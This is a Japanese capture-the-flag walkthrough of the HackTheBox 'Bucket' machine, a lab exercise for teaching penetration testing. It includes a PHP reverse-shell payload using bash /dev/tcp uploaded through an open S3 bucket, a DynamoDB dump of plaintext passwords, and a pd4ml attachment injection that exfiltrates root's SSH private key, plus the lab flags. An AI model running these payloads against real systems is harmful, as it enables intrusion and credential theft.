【HackTheBox】Bucket：Writeup

# 概要

HackTheBox「Bucket」のWriteupです。

https://app.hackthebox.com/machines/Bucket

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sCV -A -T4 -p- 10.10.10.212 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://bucket.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache/2.4.41|


ドメイン名が分かったので`/etc/hosts`に追記します。

```
10.10.10.212    bucket.htb
```

Webサイトにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ae5e4421-22d4-4bb2-91a2-4f8bdc9ab2d5.png)

ページのソースコードから`s3.bucket.htb`というドメインを発見しました。
`/etc/hosts`にサブドメインを追加しておきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3575f49e-ee8e-4b5d-b780-cf9240855edf.png)

AWS S3から画像を持ってきているようなのでAWS CLIを追加って調査します。

まずAWS CLIをインストールします。

```
$ sudo apt install -y awscli
```

有効な認証情報は入手出来ていないので適当に設定します。

```
$ aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [None]: test
Default output format [None]: test
```

`aws s3 ls`でバケット内の表示ができ、`--endpoint-url`オプションで宛先を指定できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/65f61c62-9bb6-4002-babe-ba83c600d667.png)

https://docs.aws.amazon.com/cli/latest/reference/s3/ls.html

コマンドを実行するとバケット名が`adserver`だと分かりました。

```
$ aws s3 ls --endpoint-url=http://s3.bucket.htb
2025-04-06 04:13:02 adserver
```

`adserver`バケット内に画像ファイルなどを確認できました。

```
$ aws s3 ls s3://adserver --endpoint-url=http://s3.bucket.htb 
                           PRE images/
2025-04-06 04:19:01       5344 index.html
```

バケット内のファイルをダウンロードします。

```
$ aws --endpoint-url=http://s3.bucket.htb s3 sync s3://adserver .
```

`index.html`を確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7bf3a0ec-6086-478a-88a1-096fa2625605.png)

ターゲットマシンのWebサイトと一致していることから、ApacheでこのS3バケットからファイルを持ってきて動かしていると推測できます。

この仮説を確認するために適当なPHPファイルをS3バケットにコピーします。

```
$ aws --endpoint-url=http://s3.bucket.htb s3 cp test.php s3://adserver
upload: ./test.php to s3://adserver/test.php
```

`/test.php`にアクセスすると、アップロードしたPHPファイルが実行されています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a59731e5-80ab-4b66-8ff0-adeb80786e05.png)

このことから、PHPのリバースシェルファイルをアップロードすればリバースシェルがとれそうです。

リバースシェル用のPHPファイルを作成します。

```shell.php
<?php exec('bash -c "bash -i >& /dev/tcp/10.10.14.79/1234 0>&1"');?>
```

S3に作成したPHPファイルをアップロードします。

```
$ aws --endpoint-url=http://s3.bucket.htb s3 cp shell.php s3://adserver
```

Netcatでリッスンします。

```
$ nc -lnvp 1234
```

`http://bucket.htb/shell.php`にアクセスするとリバースシェルを張れました。

```
$ nc -lnvp 1234          
listening on [any] 1234 ...
connect to [10.10.14.79] from (UNKNOWN) [10.10.10.212] 41760
bash: cannot set terminal process group (1054): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bucket:/var/www/html$ whoami
whoami
www-data
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`roy`アカウントに昇格する必要があるようです。

```
$ ls -la /home
ls -la /home
total 12
drwxr-xr-x  3 root root 4096 Sep 16  2020 .
drwxr-xr-x 21 root root 4096 Feb 10  2021 ..
drwxr-xr-x  5 roy  roy  4096 Apr  6 01:25 roy
```

`/home/roy/`にアクセス可能な`project`フォルダを発見しました。

```
$ ls -la /home/roy
ls -la /home/roy
total 56
drwxr-xr-x 5 roy  roy   4096 Apr  6 01:25 .
drwxr-xr-x 3 root root  4096 Sep 16  2020 ..
drwxrwxr-x 2 roy  roy   4096 Apr  4 20:14 .aws
lrwxrwxrwx 1 roy  roy      9 Sep 16  2020 .bash_history -> /dev/null
-rw-r--r-- 1 roy  roy    220 Sep 16  2020 .bash_logout
-rw-r--r-- 1 roy  roy   3771 Sep 16  2020 .bashrc
drwx------ 2 roy  roy   4096 Apr  4 20:13 .cache
-rw-r--r-- 1 roy  roy    807 Sep 16  2020 .profile
drwxr-xr-x 3 roy  roy   4096 Sep 24  2020 project
-rw-rw-r-- 1 roy  roy  19286 Apr  6 01:25 result.pdf
-r-------- 1 roy  roy     33 Apr  4 20:11 user.txt
```

`db.php`があります。

```
$ ls -la /home/roy/project
ls -la /home/roy/project
total 44
drwxr-xr-x  3 roy roy  4096 Sep 24  2020 .
drwxr-xr-x  5 roy roy  4096 Apr  6 01:25 ..
-rw-rw-r--  1 roy roy    63 Sep 24  2020 composer.json
-rw-rw-r--  1 roy roy 20533 Sep 24  2020 composer.lock
-rw-r--r--  1 roy roy   367 Sep 24  2020 db.php
drwxrwxr-x 10 roy roy  4096 Sep 24  2020 vendor
```

`/home/roy/project/db.php`を確認すると`localhost:4566`へ接続し、DynamoDBを利用しています。

```/home/roy/project/db.php
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;

$client = new Aws\Sdk([
    'profile' => 'default',
    'region'  => 'us-east-1',
    'version' => 'latest',
    'endpoint' => 'http://localhost:4566'
]);

$dynamodb = $client->createDynamoDb();

//todo
```

ターゲットマシン上でAWS CLIの設定をします。

```
$ aws configure
aws configure
AWS Access Key ID [None]: test
test
AWS Secret Access Key [None]: test
test
Default region name [None]: ue-east-1
ue-east-1
Default output format [None]: json 
json
```

AWS CLIでDynamoDBに接続し、`list-tables`でテーブル一覧を確認すると`users`があります。

```
$ aws dynamodb list-tables --endpoint-url http://localhost:4566
<db list-tables --endpoint-url http://localhost:4566
{
    "TableNames": [
        "users"
    ]
}
```

`users`テーブルを確認するといくつかのパスワードを得られました。

```
$ aws dynamodb scan --table-name users --endpoint-url=http://localhost:4566 
<ble-name users --endpoint-url=http://localhost:4566
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}
```

その中の`n2vM-<_K_Q:.Aa2`でSSH接続に成功しました。

```
$ ssh roy@bucket.htb
roy@bucket:/tmp$
```

`/home/roy/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt 
44819fc84df2389e1093c2a15638de74
```

# Root Flag

`linpeas`を実行します。

```
$ ./linpeas.sh
```

ローカルで`8000`番ポートが動いていると分かりました。

```
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports           
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                      
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:38957         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -
```

SSHでポートフォワーディングをします。

```
$ ssh roy@bucket.htb -L 8000:127.0.0.1:8000
```

Webサイトにアクセス出来ました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d8cfef7d-4781-407d-bf37-f2ac5f376b28.png)

Apacheの設定を確認すると`AssignUserId root root`が設定されています。
このWebアプリケーションの脆弱性を突けば、権限昇格出来そうです。

また、ルートフォルダが`/var/www/bucket-app`だと分かりました。

```/etc/apache2/sites-enabled/000-default.conf
<VirtualHost 127.0.0.1:8000>
        <IfModule mpm_itk_module>
                AssignUserId root root
        </IfModule>
        DocumentRoot /var/www/bucket-app
</VirtualHost>
```

`/var/www/bucket-app/index.php`を確認します。

こちらの処理では`action=get_alerts`のようなPOSTリクエストが来た際に、`localhost:4566`に接続し、DynamoDBを利用しています。

DB接続後、`alerts`テーブルから`title`が`Ransomware`のデータを取得しています。

その後、ランダムなhtmlファイルを作成し`files/`配下にデータを保存しています。

```/var/www/bucket-app/index.php
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
        if($_POST["action"]==="get_alerts") {
                date_default_timezone_set('America/New_York');
                $client = new DynamoDbClient([
                        'profile' => 'default',
                        'region'  => 'us-east-1',
                        'version' => 'latest',
                        'endpoint' => 'http://localhost:4566'
                ]);

                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
                ));

                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }
}
else
{
?>

(省略)
```

最終的に`passthru`で`pd4ml`を実行しています。

https://www.php.net/manual/ja/function.passthru.php

`pd4ml`はHTMLをPDFに変換できるJava用のアプリケーションです。

https://pd4ml.com/

デフォルトでは`alerts`テーブルが無いので、KaliからAWS CLIを使用してテーブルを作成します。

https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/getting-started-step-1.html

```
$ aws --endpoint-url http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5
{
    "TableDescription": {
        "AttributeDefinitions": [
            {
                "AttributeName": "title",
                "AttributeType": "S"
            },
            {
                "AttributeName": "data",
                "AttributeType": "S"
            }
        ],

(省略)
```

`title`が`Ransomeware`のデータを挿入します。

```
$ aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"This is a test"}}'
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}
```

`index.php`の処理を動かすためにPOSTリクエストを送信します。

```
$ curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'
```

すると処理通り`/var/www/bucket-app/files`にHTMLとPDFファイルが作成されました。

```
$ ls -la /var/www/bucket-app/files/
total 16
drwxr-x---+ 2 root root 4096 Apr  9 12:59 .
drwxr-x---+ 4 root root 4096 Feb 10  2021 ..
-rw-r--r--  1 root root   14 Apr  9 12:59 4094.html
-rw-r--r--  1 root root 1633 Apr  9 12:59 result.pdf
```

HTMLにはDynamoDBのデータが入っています。

```
roy@bucket:/var/www/bucket-app/files$ cat 4094.html 
This is a test
```

PDFをダウンロードして確認すると、HTMLのデータが`pd4ml`でPDFに変換されていることが分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/173f8fe5-2c4a-4838-aa55-7a6f51487698.png)

`pd4ml`を調べると`<pd4ml:attachment>`でファイルを添付できるようです。

https://pd4ml.tech/support-topics/usage-examples/#add-attachment

アプリケーションは`root root`で実行されているのでroot権限でファイルを添付し、権限昇格出来そうです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/be980acf-644d-464d-8923-8d5ef10529eb.png)

`/root/.ssh/id_rsa`が添付されるようにデータを挿入します。

```
$ aws --endpoint-url=http://s3.bucket.htb dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src='\''file:///root/.ssh/id_rsa'\'' description='\''test'\'' icon='\''Paperclip'\''/></html>"}}'
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}
```

POSTリクエストを送信し、PDFファイルを作成させます。

```
$ curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'
```

作成されたPDFをダウンロードすると`id_rsa`ファイルが添付されています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9919c6d4-ec03-497a-a637-94696111a026.png)

得られた秘密鍵でrootのSSH接続に成功しました。

```
$ ssh root@bucket.htb -i id_rsa
root@bucket:~# whoami
root
```

`/root/root.txt`からルートフラグを入手できました。

```
# cat /root/root.txt 
8af91c8d1e7d26954b4f4eb69f891a74
```